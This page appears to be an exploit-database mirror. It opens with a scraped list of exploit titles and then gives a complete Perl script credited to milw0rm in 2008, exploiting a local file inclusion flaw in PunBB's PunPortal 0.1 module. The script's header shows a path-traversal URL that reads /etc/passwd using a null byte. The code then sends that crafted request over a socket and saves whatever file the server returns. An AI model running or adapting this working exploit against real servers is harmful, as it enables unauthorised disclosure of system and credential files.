477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
117 lines
2.8 KiB
Perl
Executable file
117 lines
2.8 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
=about
|
|
|
|
PunBB (PunPortal 0.1) Local File Inclusion Exploit
|
|
--------------------------------------------------
|
|
by athos - staker[at]hotmail[dot]it
|
|
download mod http://www.punres.org/download.php?id=1108
|
|
download cms http://punbb.org
|
|
|
|
register globals = 1
|
|
magic quotes gcp = 1
|
|
|
|
|
|
|
|
File (include/login.php)
|
|
|
|
1. <?php
|
|
2.
|
|
3. // Show login if not logged in
|
|
4. if($pun_user['is_guest'])
|
|
5. {
|
|
6. if(!isset($focus_element) || (isset($focus_element) && !in_array('login', $focus_element)))
|
|
7. {
|
|
8.
|
|
9. // Load the language files
|
|
10. require PUN_ROOT.'lang/'.$pun_user['language'].'/common.php';
|
|
11. require PUN_ROOT.'lang/'.$pun_user['language'].'/login.php';
|
|
|
|
|
|
$pun_user['is_guest'] isn't declared
|
|
$pun_user['language'] isn't declared
|
|
|
|
include/user/login.php?pun_user[is_guest]=a&pun_user[language]=../../etc/passwd%00
|
|
|
|
how to fix?use the latest version (2.0)
|
|
|
|
Usage: perl punbb.pl localhost/cms
|
|
|
|
=cut
|
|
|
|
|
|
use strict;
|
|
use warnings;
|
|
use IO::Socket;
|
|
|
|
|
|
my $html = undef;
|
|
my $site = $ARGV[0] or &help;
|
|
my @take = split /\//,$site;
|
|
|
|
my ($host,$path) = @take;
|
|
|
|
if($site =~ /http:\/\/(.+?)/i) {
|
|
print STDOUT "Invalid URL\n";
|
|
exit;
|
|
}
|
|
|
|
print STDOUT "Local File (ex: ../../etc/passwd)\n";
|
|
print STDOUT "Local File: ";
|
|
|
|
chomp(my $file = <STDIN>);
|
|
|
|
if(not defined($file)) {
|
|
print STDOUT "File Not Defined!\n";
|
|
exit;
|
|
}
|
|
|
|
|
|
my $evil = "/include/user/login.php?pun_user[is_guest]=a&pun_user[language]=";
|
|
|
|
my $sock = new IO::Socket::INET(
|
|
PeerAddr => $host,
|
|
PeerPort => 80,
|
|
Proto => 'tcp',
|
|
Timeout => 6,
|
|
) or die $!;
|
|
|
|
my $data = "GET /${path}/${evil}${file}%00 HTTP/1.1\r\n".
|
|
"Host: $host\r\n".
|
|
"User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n".
|
|
"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n".
|
|
"Accept-Language: en-us,en;q=0.5\r\n".
|
|
"Accept-Encoding: gzip,deflate\r\n".
|
|
"Connection: close\r\n\r\n";
|
|
|
|
$sock->send($data);
|
|
|
|
while(<$sock>) {
|
|
$html .= $_;
|
|
}
|
|
|
|
if($html =~ /(No such file or directory|HTTP\/1.1 404 Not Found)/i) {
|
|
print STDOUT "Exploit Failed!\n";
|
|
exit;
|
|
}
|
|
else {
|
|
my $name = int(rand(999)).'.txt';
|
|
|
|
open(FILE,">",$name);
|
|
print FILE $html;
|
|
close(FILE);
|
|
|
|
print STDOUT "Exploit Successfully!\n";
|
|
print STDOUT "$name saved!\n";
|
|
exit;
|
|
}
|
|
|
|
|
|
sub help {
|
|
print STDOUT "PunBB (PunPortal 0.1) Local File Inclusion Exploit\n".
|
|
"by athos - staker[at]hotmail[dot]it\n".
|
|
"Usage: perl $0 [host/path]\n";
|
|
exit;
|
|
}
|
|
|
|
# milw0rm.com [2008-11-20]
|